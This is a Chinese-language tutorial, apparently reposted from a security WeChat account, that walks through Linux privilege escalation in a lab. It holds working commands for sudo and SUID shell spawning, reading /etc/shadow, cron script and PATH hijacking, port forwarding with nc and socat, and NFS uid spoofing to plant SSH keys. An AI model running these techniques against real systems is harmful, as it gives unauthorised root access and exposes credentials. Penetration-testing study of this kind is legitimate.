這篇講一些關於 Linux 提權的方法,也是參考網上的一些提權方式,對於剛接觸 Linux 提權的夥伴來說,需要花不少時間去理解,所以這裏是以個人通俗易懂的思路去寫,希望能幫到熱愛學習的朋友,先寫這些提權方法。若有更好的提權方式,歡迎老哥們在評論裏補充一下。
提權可能需要反彈 bash ,因爲腳本語言無法形成管道,需要創造一個管道才能進行後續的操作,比如溢出成功之後返回一個 root 權限的 shell,腳本語言執行完就完了,不會返回一個可以操作的 root shell,之前不太懂反彈shell的作用,後來在社區評論裏看到了解答。
提權方式總結
1、利用內核棧溢出提權
1.1 信息收集
uname -a Linux localhost.localdomain 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
內核版本 3.10.0, CPU 架構 x86_64
cat /etc/*-release CentOS Linux release 7.4.1708 (Core) NAME="CentOS Linux" VERSION="7 (Core)" ID="centos" ID_LIKE="rhel fedora" VERSION_ID="7" PRETTY_NAME="CentOS Linux 7 (Core)"
searchsploit
linux 3.10 CentOS Linux 7
1.2 linux-exploit-suggester-2
在我的虛擬機 CentOS 執行時,發現存在髒牛提權漏洞
2、明文 root 密碼提權
passwd 儲存了用戶,全用戶可讀,root 可寫 shadow 存儲密碼的 hash,僅 root 可讀寫
passwd 文件:
daemon
:x:
1:1:daemon:/usr/sbin:/bin/sh
passwd 由冒號分割,第一列是用戶名,第二列是密碼,x 代表密碼 hash 被放在 shadow 裏面了(這樣非 root 就看不到了)。而 shadow 裏面最重要的就是密碼的 hash
測試
檢測 passwd、shadow 是否可寫
ls -l passwd shadow
1、passwd 可寫
從上面圖片裏看到,passwd 文件是可寫的,將 passwd 的 root 密碼 X 替換爲我們自己的 hash,如替換爲自己 linux 裏的 hash,可修改目標的 root 密碼
2、shadow 可讀
把 shadow 裏面 root 的 hash 輔助出來,用 hash、john 爆破
3、密碼複用
如數據庫、後臺 web 密碼,可能就是 root 密碼
4、sudo 濫用
sudo 大家經常遇到,比如執行權限不夠時加 sudo 執行,sudo 是讓普通用戶使用超級用戶的命令。其配置文件爲 /etc/sudoers,文件定義可以執行 sudo 的賬戶、定義某個應用程序用 root 訪問、是否需要密碼驗證。
查看可以執行哪些命令,即不需要知道 root 密碼時,需驗證自身普通權限的密碼
sudo -l
可以支持所有命令,下面參考這個網址:
https://gtfobins.github.io/
這裏以 awk、man、curl 舉個栗子
1、su
sudo su
輸入普通權限用戶密碼,切換爲 root
2、awk
sudo awk 'BEGIN {system("/bin/sh")}'
3、man
sudo man man
4、curl
sudo curl file:///etc/shadow
5、su root 被禁止解決
拿到 root 密碼,端口轉發,代理,但防護牆禁止其他人登錄 root,在原來的低權限 shell,也無法 sudo 切換 root
因爲出於安全考慮,linux 要求用戶必須從終端設備(tty)中輸入密碼,而不是標準輸入(stdin)。
所以 sudo 在你輸入密碼的時候本質上是讀取了鍵盤,而不是讀取 bash 裏面輸入的字符。
測試:
python 語法:
python -c 'import pty;pty.spawn("/bin/sh")'
交互 shell,簡單 shell 簡單 shell 中直接按刪除鍵是不行的,要按住 ctrl 鍵之後,再按住刪除鍵纔可以,其他鍵的使用也一樣
$ sudo su
6、計劃任務
ls -l /etc/cron*
非 root 權限的用戶是不可以列出 root 用戶的計劃任務的。但是 /etc/ 內系統的計劃任務可以被列出,並且默認這些程序以 root 權限執行
重寫 python
若這些計劃任務的腳本可寫,則編輯爲 shell
crontab 文件是計劃任務的配置,此文件只有 root 可寫,我們不需要去修改 crontab,只查看裏面的有哪些任務,比如定時執行了哪些腳本,再查看對應腳本的權限,若可寫,則修改它。
測試:
cat /etc/crontab
我沒有設置定時任務,模擬一下,如果裏面有個 1.python
ls -al /tmp/1.py //查看是否有w權限
cat -al /tmp/1.py //寫入代碼 import os os.system('cp /bin/sh /tmp/sh') os.system('chmod u+s /tmp/sh')
當到了計劃執行時間,就會以 root 權限執行 1.py,即將 /bin/sh 複製到 /tmp/sh
原本是沒有 /tmp/sh
當執行 sudo python 1.py
時,就會複製到 /tmp/sh
我們只需要進入 /tmp,執行 ./sh 可獲取 root
這裏的 cp 命令是基於 SUID,給 1.py 設置 SUID 權限。可以結合環境變量方式,把 /tmp/sh 添加到環境變量,無需進入 /tmp/sh 去執行 ./sh,執行 sh 變爲 root。也可以在 1.py 寫入反彈 shell 的 python 代碼,此時反彈的 shell 具有 root 權限
1、tab 通配符
爲了測試,我先手動添加一條任務,每隔一分鐘打包 /aaa 目錄下的文件,到 /var/backups/aaa.tgz
cat /etc/crontab */1* * * * root tar -zcf /var/backups/aaa.tgz /tmp/aaa/*
防範:
crontab 任務千萬不要寫到 /etc/crontab 文件裏。通過 crontab -e 去創建,讓他寫到默認的 /var/spool/cron下;創建任務時,避免使用 root 去創建任務,若用 root 創建任務,注意設置權限,避免 root 權限執行任務。
7、SUID
SUID 是一種特殊的文件屬性,它允許用戶執行的文件以該文件的擁有者的身份運行【ls 查看時有 s 屬性才支持 SUID】,
如 passwd 文件,普通用戶不能直接讀寫,但可通過 passwd 命令,以 root 權限修改 shadow(因爲 shadow 是 root 權限文件,修改會以 root 權限修改)
c 源代碼:
#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}
編譯後 ls 查看
ls -l -rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp
注意 s 屬性,表示這個程序有 SUID 的屬性。
演示程序只能執行 cat /etc/shadow,以普通權限執行 ./suid-exp,也能看到 shadow 內容
查找 SUID 文件
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null
看到剛剛創建的 suid, /tmp/suid-exp
8、環境變量劫持-SUID 擴展
通過劫持環境變量,達到執行任意命令的目的。上述只是執行 cat 命令,但我們最終目的是爲了提權,而不是以 root 權限只執行單個 cat 命令。
linux 下執行命令,如 cat,是去環境變量查找 ,將 cat 替換
測試:
把新建一個 /tmp/cat,而 cat 內容爲我們腳本,當用戶執行 cat 命令,cat /etc/shadow,則執行我們的腳本
cat >> /tmp/ls <<EOF
#!/usr/bin/python
print "this is not the true cat"
print "here is a root shell!"
import pty;pty.spawn("/bin/sh")
EOF
此時再執行 ./suid-exp,可執行我們定義的腳本,因爲 suid-exp 以管理員執行 cat 命令,而 linux 的 system 是根據環境變量來執行 cat 的,原本是默認的 cat,當修改了之後,cat 就不再是原來的 cat,而是我們自己定義的腳本,從而達到執行任意命令的目的,即可去提權。
9、管理員配置錯誤
把不帶 setuid(0); 代碼的程序配置了 SUID,比如上面看到的 find 命令,當執行 find 時是以 root 執行,在 find 的exec 後面加上我們自己的腳本即可
find 文件 exec '/bin/sh' \ ;
mkdir abc //創建空文件 abc
find abc -exec '/bin/sh' \;
不過這裏是失敗的,沒有配置錯誤
10、docker 組提權
docker組用戶提權,目的是利用docker組的用戶來提權,因爲docker組用戶在容器下爲root權限,通過掛載方式在容器下給本機添加sudo權限的用戶,從而可以利用sudo命令。如果沒有擁有sudo權限的用戶,是無法執行sudo命令,在kali下會提示用戶不在sudoers等提示。
可以參考我的這篇文章: 《Docker提權實戰測試》 https://www.secquan.org/Discuss/1070515
freebuf 也有https://www.freebuf.com/articles/system/170783.html
11、服務漏洞
netstat -antup #查看各種網絡服務
然後把敏感端口轉發出來,用本地的工具進行攻擊,可能拿到遠程 root,即通過漏洞拿到 root 權限 windows 用 lcx 做端口轉發,linux 用 nc、socat 做端口轉發
1、redis 反彈 shell
nc 單向轉發
nc -l 12345 | nc 192.168.191.170 80
雙向轉發
mkfifo backpipe nc -l 12345 0<backpipe | nc 192.168.191.170 80 1>backpipe
雙向轉發本人測試失敗,希望大佬們提供解決的辦法
socat
測試本地轉發,service apache2 start,把 80 端口轉發到其它端口,看是否能訪問,這裏測試成功
socat TCP-LISTEN:8080,fork TCP:192.168.191.170:80
這裏可以參考這篇文章,作者先執行 ps -fu root,發現開放 redis 端口,把 redis 端口轉發出來,利用 redis 反彈遠程的 root shell。一次簡單 linux 提權:
https://www.secquan.org/Discuss/1069715#reply8
2、nfs 未授權 查看可以訪問的 nfs 目錄
showmount -e 192.168.111.122
將 /home/peter 掛載到本地 /mnt/peter 查看
mount 192.168.111.122:/home/peter /mnt/peter cd /mnt/peter
ls -la,發現沒有寫權限,但只要 uid 爲 1001,gid 爲 1005 的用戶就可以,由於是掛載到本地,本地創建一個這樣賬戶,即可對此目錄進行寫權限
ls -l /mnt/,發現 uid 爲 1001,gid 爲 1005
groupadd -g 1055 boogle,創建 gid 爲 1055 的組 boogle
adduser boogle -uid 1001 -gid 1005
此時可以寫入文件,則生成 boogle 的 ssh 公私鑰,
先在 /mnt/peter/ 目錄創建 /.ssh/ 目錄
本地生成的 id_rsa.pub 是在 /root/.ssh/ 目錄下,複製到 /mnt/peter/.ssh/authorized_keys,如下圖:
總結:
ls -la,發現沒有寫權限,但只要 uid 爲 1001,gid 爲 1005 的用戶就可以,由於是掛載到本地,本地創建一個這樣的賬戶,即可對此目錄進行寫權限,下一步對此目錄寫入 ssh 公鑰,以公私鑰的方式登錄 ssh,ssh [email protected] 免密登錄,獲取 root 權限。
本文分享自微信公衆號 - 信安之路(xazlsec)
附: